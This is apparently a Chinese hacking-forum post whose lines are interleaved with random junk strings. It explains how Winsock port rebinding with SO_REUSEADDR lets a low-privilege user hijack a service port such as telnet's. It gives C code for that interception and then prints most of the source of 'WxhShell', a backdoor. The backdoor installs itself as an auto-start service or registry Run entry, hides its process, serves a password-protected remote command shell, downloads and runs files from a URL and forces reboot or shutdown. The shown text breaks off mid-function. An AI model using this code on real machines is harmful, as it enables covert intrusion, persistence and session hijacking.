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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .Xta;Py|J  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wj$3 L3  
How:_ Hj  
  saddr.sin_family = AF_INET; p<a~L~xH6  
#6AcM"  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); '@^<c#h]=  
aLevml2:T  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); j~2t^Qz  
-J!k|GK#MX  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Iq;a!Lya-  
#$t93EI  
  这意味着什么?意味着可以进行如下的攻击: ZCuh^  
{flxZ}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 hEFn>  
A|L-;P NP  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) nNM)rW  
p'SY 2xq-,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \LS s@\$ g  
bir tA{q  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Th])jQ*  
imS&N.*3m  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =>C3IR/  
AK;G_L  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5PHAd4=bJ  
5o~AUo{  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 JENq?$S  
.9bP8u2B{  
  #include l$p"%5 ]_  
  #include 3Z)vJC9'  
  #include 'UCF2 L  
  #include    )vur$RX  
  DWORD WINAPI ClientThread(LPVOID lpParam);   5|[\Se#  
  int main() BYDOTy/%nJ  
  { oX]c$<w5  
  WORD wVersionRequested; X15e~;&  
  DWORD ret; u|8V7*)3  
  WSADATA wsaData; < uzDuBN  
  BOOL val; -/qu."9(B  
  SOCKADDR_IN saddr; $ "^yoL  
  SOCKADDR_IN scaddr; ;@u+b0 j  
  int err; 8>^O]5Wo`X  
  SOCKET s; _Ai\XS Am  
  SOCKET sc; tdRnRoB  
  int caddsize; 5E|/n(  
  HANDLE mt; T;I>5aQ:q4  
  DWORD tid;   /?8rj3  
  wVersionRequested = MAKEWORD( 2, 2 ); | \JB/x  
  err = WSAStartup( wVersionRequested, &wsaData ); qxwD4L`S  
  if ( err != 0 ) { *C(XGX\?-  
  printf("error!WSAStartup failed!\n"); FU~:9EEx  
  return -1; G0h7MO%x  
  } bl B00   
  saddr.sin_family = AF_INET; 4[]4KKO3Q2  
   @xtfm.}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 au1(.(  
C@ z^{Z+  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \xaK?_hv  
  saddr.sin_port = htons(23); |N>TPK&Xt  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) A0Hsd  
  { Hq$?-%4  
  printf("error!socket failed!\n"); Co>=<\yi  
  return -1; ZgI1Byf  
  } j1,ir  
  val = TRUE; l<nL8/5{<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Vz&!N/0i  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ygp NMq#?X  
  { NvfQa6?;  
  printf("error!setsockopt failed!\n"); 0l ]K%5#  
  return -1; Y;XEC;PXD  
  } S(*SUH  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )b AcU  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Hlq#X:DCn  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &P{[22dQ  
5Y97?n+6  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) jz;"]k  
  { Dos`lh  
  ret=GetLastError(); F\;G'dm  
  printf("error!bind failed!\n"); HI30-$9  
  return -1; Nu'T0LPNq(  
  } ;HeUD5Nt6F  
  listen(s,2); 3"hPplE  
  while(1) * 7 o(  
  { t/aT  
  caddsize = sizeof(scaddr); Bq]eNq  
  //接受连接请求 x, ^j=n  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); LY^pmak  
  if(sc!=INVALID_SOCKET) Hh8)d/D  
  { ~O}LAzGb  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); v [ 4J0  
  if(mt==NULL) /uzU]3KF~  
  { V}kZowWD  
  printf("Thread Creat Failed!\n"); G? "6[w/p  
  break; 0xM\+R~,  
  } 0"L_0 t:  
  } #}W^d^-5t5  
  CloseHandle(mt); =X11x)]F9  
  } Rs cU=oaKi  
  closesocket(s); \Z^YaKj&  
  WSACleanup(); Q_F8u!qrZ  
  return 0; Q=%1@ ,x"  
  }   ~sSlfQWMzy  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0ZXG{Gp9S  
  { tPHDnh^n]  
  SOCKET ss = (SOCKET)lpParam; \]W*0t>s  
  SOCKET sc; C<\|4ERp  
  unsigned char buf[4096]; G_~w0r#  
  SOCKADDR_IN saddr; g3(fhfR'RN  
  long num; x%JtI'sg  
  DWORD val; M38QA  
  DWORD ret; x\Bl^1&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 q(J3fjY)  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   nDS mr  
  saddr.sin_family = AF_INET; (JHL0Z/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0BM3:]=wr  
  saddr.sin_port = htons(23); )q\|f_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) TC4W7} }  
  { Ii /#cdgF  
  printf("error!socket failed!\n"); ,tZWPF-  
  return -1; Uzb~L_\Rmt  
  } jLf.qf8qm  
  val = 100; &C+pen) Z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nxP>IfSA  
  { 9air" 4  
  ret = GetLastError(); eEIa=MB*  
  return -1; &oTUj'$  
  } geL)v7t+#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  DKu4e  
  { 8-c1q*q)  
  ret = GetLastError(); Bg*Oj)NM  
  return -1; k"V| f&  
  } bBBW7',[a  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #]'#\d#i  
  { 3PLv;@!#j}  
  printf("error!socket connect failed!\n"); (8u.Xbdh  
  closesocket(sc); 3eqnc),Z  
  closesocket(ss); )Ab!R:4  
  return -1; F{a--  
  } k1HukGa  
  while(1) pzP~,cdf  
  { ++Qg5FukR  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 C&b^TLe  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 t8,s]I&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~*9 vn Z@  
  num = recv(ss,buf,4096,0); v_PhJKE  
  if(num>0) 8o-*s+EY"&  
  send(sc,buf,num,0); {1.t ZCMT  
  else if(num==0) i w<2|]>l  
  break; PK@hf[YHe  
  num = recv(sc,buf,4096,0); -9)<[>:  
  if(num>0) =l TV2C<  
  send(ss,buf,num,0); _4VF>#b  
  else if(num==0) j()<.h;'  
  break; +(*S@V$c  
  } ;#G)([  
  closesocket(ss); A>8uLO G}  
  closesocket(sc); Cvr?%+)$M  
  return 0 ; Np=IZ npt  
  } IP K.  
3zU!5t g  
[!B($c|\  
========================================================== 8|uFW7Q  
vkWh2z  
下边附上一个代码,,WXhSHELL ORhe?E]  
5_@ u Be~  
========================================================== fJ_d ,4  
fGDR<t3yiQ  
#include "stdafx.h" 2yk32|  
SR@yG:~  
#include <stdio.h> Z&gM7Zo8  
#include <string.h> s*.CJ  
#include <windows.h> ;q&6WO  
#include <winsock2.h> =l?F_  
#include <winsvc.h> qi7(RL_N  
#include <urlmon.h> #'N"<o[  
E?1"&D m  
#pragma comment (lib, "Ws2_32.lib") ;v0M ::  
#pragma comment (lib, "urlmon.lib") 'xi[- -  
$Cw> z^}u  
#define MAX_USER   100 // 最大客户端连接数 !P X`sIkT  
#define BUF_SOCK   200 // sock buffer n4Od4&r  
#define KEY_BUFF   255 // 输入 buffer [EUp4%Z #  
>h+[#3vD  
#define REBOOT     0   // 重启 9~8 A>  
#define SHUTDOWN   1   // 关机 X_yAx)Do  
5}d"nx  
#define DEF_PORT   5000 // 监听端口 / 4P+  
7'g'qUW+~  
#define REG_LEN     16   // 注册表键长度 R4+Gmx1  
#define SVC_LEN     80   // NT服务名长度 &VG|*&M  
l<fZt#T  
// 从dll定义API "L yMw){  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %c[Q_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  AnK-\4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =\;yxl  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +X)n}jh  
Vsh7>|@  
// wxhshell配置信息 DU9A3Z  
struct WSCFG { X=O}k&  
  int ws_port;         // 监听端口 X2>qx^jT  
  char ws_passstr[REG_LEN]; // 口令 thWQU"z4  
  int ws_autoins;       // 安装标记, 1=yes 0=no [C)JI;\  
  char ws_regname[REG_LEN]; // 注册表键名 ~Q7)6%  
  char ws_svcname[REG_LEN]; // 服务名 (#6E{@eq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nO{@p_3mi  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,})x1y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~ KNdV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }1<_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `uRf*-   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y{yN*9a79  
ub^v ,S8O  
}; =/xTUI4  
99Jk<x k  
// default Wxhshell configuration a o_A %?Ld  
struct WSCFG wscfg={DEF_PORT, 2w>l nJ-  
    "xuhuanlingzhe", 3fC|}<Wzt  
    1, mQ#E{{:H+  
    "Wxhshell", 1]eh0H  
    "Wxhshell", Wl3jbupu _  
            "WxhShell Service", 56!>}!8!  
    "Wrsky Windows CmdShell Service", Sb_T _m  
    "Please Input Your Password: ", 4}nsW}jCc  
  1, 4 I}xygV  
  "http://www.wrsky.com/wxhshell.exe", .;6G?8`  
  "Wxhshell.exe" )3O0:]<H  
    }; wFr}]<=Mi  
U'IJwGRP  
// 消息定义模块 ,/ V'(\>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ZSL:q%:.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /($!("b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5fGUJ[F=  
char *msg_ws_ext="\n\rExit."; J7. }2  
char *msg_ws_end="\n\rQuit."; F^iv1b  
char *msg_ws_boot="\n\rReboot..."; b"Ep?=*5  
char *msg_ws_poff="\n\rShutdown..."; XxT7YCi  
char *msg_ws_down="\n\rSave to "; {bF95Hs-  
# L\t)W  
char *msg_ws_err="\n\rErr!"; d\nBc6  
char *msg_ws_ok="\n\rOK!"; S30@|@fTz  
;9cBlthh  
char ExeFile[MAX_PATH]; !ra CpL9;  
int nUser = 0; ?Z}n0E `  
HANDLE handles[MAX_USER]; G-FTyIP>'  
int OsIsNt; ZB-+ bY  
 o^59kQT  
SERVICE_STATUS       serviceStatus; Ck,.4@\tK  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;]<{ <czc  
hv xvwV1  
// 函数声明 /f!_dJ^  
int Install(void); Q ! 5P  
int Uninstall(void); vfT<%Kl!'  
int DownloadFile(char *sURL, SOCKET wsh); U:]b&I  
int Boot(int flag); 1\d$2N"  
void HideProc(void); tMaJ; 4  
int GetOsVer(void); [kqxC  
int Wxhshell(SOCKET wsl); "4FL<6  
void TalkWithClient(void *cs); eK"B.q7  
int CmdShell(SOCKET sock); ?i4}[q  
int StartFromService(void); SM:SxhrGt  
int StartWxhshell(LPSTR lpCmdLine);  U4#[>*  
 z"BV+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g j`"|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); SEY  
w $7J)ngA9  
// 数据结构和表定义 2tvMa%1^  
SERVICE_TABLE_ENTRY DispatchTable[] = 6l#1E#]|  
{ vx=I3o  
{wscfg.ws_svcname, NTServiceMain}, o"^}2^)_SR  
{NULL, NULL} zOq~?>Ms6  
}; RM53B  
9/w'4bd  
// 自我安装 ,eRl Z3T  
int Install(void) =K2Dxu_:  
{ r @~T}<I  
  char svExeFile[MAX_PATH]; o}5:vi]  
  HKEY key; ( 5 d ~0  
  strcpy(svExeFile,ExeFile); !D%*s,t\'  
(H9%a-3  
// 如果是win9x系统,修改注册表设为自启动 6<H[1PI`,G  
if(!OsIsNt) { a<Pi J?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @u/<^j3Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~nb%w?vv  
  RegCloseKey(key); xtjTU;T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /#$bb4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <C6/R]x#  
  RegCloseKey(key); bi!4I<E>k  
  return 0; L&ws[8-  
    } 4:cbasy  
  } y{ 90A  
} 6f=/vRAh$  
else { )T#;1qNB  
FStE/2?  
// 如果是NT以上系统,安装为系统服务 %e7{ke}r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]T^m>v)X  
if (schSCManager!=0) LF%1)x  
{ <Xy8}Z`s  
  SC_HANDLE schService = CreateService z$G?J+?J  
  ( Yx&cnDx  
  schSCManager, nA F@47Wo  
  wscfg.ws_svcname, `#fOY$#XB  
  wscfg.ws_svcdisp, O( he  
  SERVICE_ALL_ACCESS, joDfvY*[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zx-+u7qKH  
  SERVICE_AUTO_START, i*_KHK  
  SERVICE_ERROR_NORMAL, C4Z~9fzT  
  svExeFile, { r&M  
  NULL, DHt 8 f  
  NULL, 'n:Ft  
  NULL, *"fg@B5  
  NULL, Z55,S=i  
  NULL Ef,@}S  
  ); `N(.10~  
  if (schService!=0) Ynz^M{9)K  
  { 2+=|!+f  
  CloseServiceHandle(schService); {]<D"x ;  
  CloseServiceHandle(schSCManager); YGWb!|Z$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X""'}X|O  
  strcat(svExeFile,wscfg.ws_svcname); YfMe69/0I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +"3eh1q[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X8Sk  
  RegCloseKey(key); IJ4"X#Q/  
  return 0; e!4akKw4wD  
    } u~s'<c+8_  
  } =AD/5E,3  
  CloseServiceHandle(schSCManager); Ka_UVKwMro  
} <;=Y4$y[  
} _9z/>e  
nrt0[E-&~  
return 1; yN>"r2   
} cJA :vHyw  
J~_p2TZJ\3  
// 自我卸载 fykN\b  
int Uninstall(void) 3~cOQ%#]4  
{ ^7"%eWT`  
  HKEY key; _5`M( ;hL2  
E<\\'VF  
if(!OsIsNt) { B4|`Z'U#;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \Flq8S/t^  
  RegDeleteValue(key,wscfg.ws_regname); gE ,j\M*  
  RegCloseKey(key); =k$d8g ez  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^mJvB[ u|  
  RegDeleteValue(key,wscfg.ws_regname); vj^U F(X  
  RegCloseKey(key); Q}=RG//0*  
  return 0; N"T8 Pt  
  } y:42H tS  
} p +T&9  
} ]~K&mNo  
else { mefmoZ  
3P6'*pZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,B#Y9[R  
if (schSCManager!=0) F}AbA pTv  
{ 3FXMM&w  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q~w;C([k_  
  if (schService!=0) ;9I#>u  
  { eXOFAd]>u  
  if(DeleteService(schService)!=0) { \ yOZ&qU  
  CloseServiceHandle(schService); W@ Z=1y  
  CloseServiceHandle(schSCManager); }w-`J5Eq#  
  return 0; WuNu}Ibl}m  
  } {30<Vc=  
  CloseServiceHandle(schService); =#V11j  
  } k9n  
  CloseServiceHandle(schSCManager); sN g"JQ  
} vJCL m/}*  
} .lFSFJ??  
b>7ts_b  
return 1; As\5Ze9|  
} rx;U/)~#<  
q#a21~S<  
// 从指定url下载文件 8;'n.SC{  
int DownloadFile(char *sURL, SOCKET wsh) eLTNnz  
{ #NE^f2  
  HRESULT hr; (s3%1OC[  
char seps[]= "/"; lC4By,1*  
char *token; O.E0LCABC  
char *file; p)jxqg  
char myURL[MAX_PATH]; j41:]6  
char myFILE[MAX_PATH]; 64vSJx>u  
 KC(Ug4  
strcpy(myURL,sURL); L)+ eM&W  
  token=strtok(myURL,seps); &\H5*A.HkA  
  while(token!=NULL) D1n2Z :9  
  { /trc&V  
    file=token; sy?>e*-{  
  token=strtok(NULL,seps); GVM#Xl}w9  
  } {_~G+rqY  
]]Z,Qu#<-  
GetCurrentDirectory(MAX_PATH,myFILE); !LJ.L?9qw  
strcat(myFILE, "\\"); N93E;B  
strcat(myFILE, file); ^%d{i'9?  
  send(wsh,myFILE,strlen(myFILE),0); @ 7?_Yw  
send(wsh,"...",3,0); k:TfE6JZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); SIl g  
  if(hr==S_OK) }j?S?=;m=  
return 0; IebS~N E  
else yd72y'zi  
return 1; gJ&!w8v.  
y]l"u=$Tr{  
} O0~d6Ba   
/pU6trIM  
// 系统电源模块 XNU qZ-M :  
int Boot(int flag) 9^^#I ~-  
{ 'oz = {;  
  HANDLE hToken; _@N)]!\MgP  
  TOKEN_PRIVILEGES tkp; ;}~=W!yz  
7fay:_  
  if(OsIsNt) { gDub+^ye>/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `I8^QcP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6p " c ^  
    tkp.PrivilegeCount = 1; Jg:-TK/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N%f!B"NQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); XijLS7Aw|  
if(flag==REBOOT) { GC[{=]}9U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) EKPTDKut  
  return 0; @q/1m~t  
} ak) -OL1  
else { EYxRw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) IxZ.2 67  
  return 0; &=Zg0Q  
} = Y-Ne6a  
  } el?V2v[  
  else { BozK!"R_<  
if(flag==REBOOT) { yCIgxPv|7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B)]{]z0+`  
  return 0; DBBBpb~~  
} o#P3lz  
else { [ 5W#1 &  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %^=!s  
  return 0; 6b70w @P!  
} I#X2 UQzP  
} J,G9m4Z7  
P! Ed  
return 1; AaYrVf 9!  
} Ig3(|{R  
OgN1{vRFx  
// win9x进程隐藏模块 iM|"H..  
void HideProc(void) 0BB @E(*  
{ P5}[*k%DQw  
sV^h#g~Zb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @k+G Cf  
  if ( hKernel != NULL ) S"^KJUUc  
  { I?Jii8|W9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); GoSWH2N  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !)/iRw9re  
    FreeLibrary(hKernel); Q^Z<RA(C  
  } gZ"{{#:}  
te*Y]-&I|/  
return; W B*`zCM  
} $',GkK{NX  
Cre0e$ a  
// 获取操作系统版本 03QEXm~|Q  
int GetOsVer(void) :@>br+S  
{ mrhp)yF  
  OSVERSIONINFO winfo; rZ.a>'T4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (Cl`+ V  
  GetVersionEx(&winfo); oA;jy  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -hVv  
  return 1; P"=UI$HN  
  else KBr5bcm4u  
  return 0; /y](mu"!  
} LD~Jbq  
^KZAYB9C  
// 客户端句柄模块 {rb-DB-/5M  
int Wxhshell(SOCKET wsl) Q}Ze-JIL$  
{ .hQ3A"  
  SOCKET wsh; 8XYD L] I'  
  struct sockaddr_in client; {wp Mg  
  DWORD myID; /h7>Z9T  
b>bgUDq  
  while(nUser<MAX_USER) r%TLv  
{ {V%%^Zhwy  
  int nSize=sizeof(client); 8sR  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B;z>Dd,Y_x  
  if(wsh==INVALID_SOCKET) return 1; W>?f^C!+m  
hB P$9GR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (RDa,&  
if(handles[nUser]==0) Ko$ $dkSE  
  closesocket(wsh); BP[CR1Gs  
else C`NBHRa>  
  nUser++; c YM CfP  
  } +QIGR'3u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); NIGB[2V(  
9<t9a f\.>  
  return 0; 6z9R1&~%  
} `P^u:  
|&elZ}8  
// 关闭 socket KFTf~!|  
void CloseIt(SOCKET wsh) @4 /~~  
{ 'w`SBYQ5  
closesocket(wsh); DA+A >5/  
nUser--; +,&m7L  
ExitThread(0); L _vblUDq  
} bU;}!iVc]  
MekT?KPQ{L  
// 客户端请求句柄 WZ^{zFoZ  
void TalkWithClient(void *cs) mP9cBLz  
{ gt =j5  
.mvB99P{<  
  SOCKET wsh=(SOCKET)cs; =@xN(] (  
  char pwd[SVC_LEN]; 1.Haf  
  char cmd[KEY_BUFF]; p!HPp Ef+#  
char chr[1]; aL8p"iSG9  
int i,j; bK ?1MiXb  
1YJ_1VJ  
  while (nUser < MAX_USER) { |. J,8~x  
BCBEX&0hk{  
if(wscfg.ws_passstr) { +dqk 6RE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a$C2}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N7e`6d!  
  //ZeroMemory(pwd,KEY_BUFF); wVx,JL5Jr  
      i=0; 6N9 c<JC  
  while(i<SVC_LEN) { TRF]i/Bs  
#,@bxsB  
  // 设置超时 8 ne/=N|,  
  fd_set FdRead; %9t{Z1$  
  struct timeval TimeOut; xU@1!%l@  
  FD_ZERO(&FdRead); {/-y>sm  
  FD_SET(wsh,&FdRead); Z8&4z.6_  
  TimeOut.tv_sec=8; By2s']bw  
  TimeOut.tv_usec=0; 4F}Pu<;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 25aNC;J  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qOW#Q:T  
bAdiA2VF'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GHv{   
  pwd=chr[0]; i][f#e4  
  if(chr[0]==0xd || chr[0]==0xa) { #X#8ynt  
  pwd=0; [-4KY4R  
  break; DH:J  
  } }x]&L/  
  i++; a*D,*C5}  
    } cI2Fpf`2Wj  
#S%4?   
  // 如果是非法用户,关闭 socket o*X]b]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); doBNghS  
} J5;5-:N  
M~als3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b 8>q;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Mal<iNN  
tmp6hB  
while(1) { 'qjX$]H  
jO=*:{#x  
  ZeroMemory(cmd,KEY_BUFF); }g>kpa0c  
"# 2pT H~  
      // 自动支持客户端 telnet标准   <|a=hHPi:  
  j=0; !x7o|l|cP  
  while(j<KEY_BUFF) { t)} \9^Uo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _5b0wdB  
  cmd[j]=chr[0]; Y.>kO  
  if(chr[0]==0xa || chr[0]==0xd) { _w z2  
  cmd[j]=0; W"Z#Fs{n8  
  break; oE1M/*myS  
  } c_#*mA"+  
  j++; W .U+.hR  
    } h$pk<<  
ZYa\"zp-  
  // 下载文件 DVh)w}v  
  if(strstr(cmd,"http://")) { ox[ .)v  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Umz05*  
  if(DownloadFile(cmd,wsh)) $e BQH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); lm$;:Roj*  
  else xIL#h@dz  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hU" F;4p  
  } ($62o&I  
  else { RDJ+QOVKg  
F+uk AT  
    switch(cmd[0]) { q jz3<`7-  
  B`{mdjMy  
  // 帮助 RBE7485  
  case '?': { ;1`!wG-DD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); < bFy(+  
    break; Uyk,.*8"  
  } tuLH}tkNY  
  // 安装 ARF\fF|<2  
  case 'i': {  qSTWb%  
    if(Install()) >b48>@~bY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jO8X:j09A  
    else !n<o)DsZR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ? %(spV  
    break; w2OsLi Sv  
    } VRbQdiZ{  
  // 卸载 : @6mFTV  
  case 'r': { I\zemW!  
    if(Uninstall()) R0wf#%97  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !D:Jbt@R<n  
    else T SjI z5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qTM%G-  
    break; -V5w]F'  
    } c}-(.eu  
  // 显示 wxhshell 所在路径 g_aCHEFBv  
  case 'p': { iZxt/}1X0  
    char svExeFile[MAX_PATH]; 8lP6-VA  
    strcpy(svExeFile,"\n\r"); m`}{V5;  
      strcat(svExeFile,ExeFile); y=Q!-~5|fF  
        send(wsh,svExeFile,strlen(svExeFile),0); VagT_D  
    break; ?S tsH  
    } u =J&~  
  // 重启 VkZ.6kV  
  case 'b': { cb$-6ZE/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9Ah[rK*}  
    if(Boot(REBOOT)) pe.QiMW{8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QyGnDomQ  
    else { )D/ 6%]O  
    closesocket(wsh); vH[Pb#f-  
    ExitThread(0); ke%pZ 7{u  
    } [4Q"#[V&9  
    break; 314=1JbL  
    } wtH~-xSB|  
  // 关机 z|N3G E(.@  
  case 'd': { :50b8  
